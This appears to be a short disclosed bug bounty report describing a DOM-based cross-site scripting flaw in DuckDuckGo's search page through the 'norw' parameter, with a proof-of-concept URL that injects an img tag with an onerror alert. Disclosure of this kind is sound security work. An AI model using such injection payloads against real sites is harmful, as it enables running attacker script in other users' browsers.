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DuckDuckGo · Report #868934

DOM XSS on duckduckgo.com search

Validstatus
highseverity
326upvotes
14 Jun 2020disclosed

How it was found

Hello, The is a DOM XSS vulnerability on https://duckduckgo.com search through the norw parameter.

PoC URL: https://duckduckgo.com/?q=a&norw="><img src=/ onerror=alert(document.domain)>

Screenshot: {F820482}

Impact

The attacker can execute JS code.

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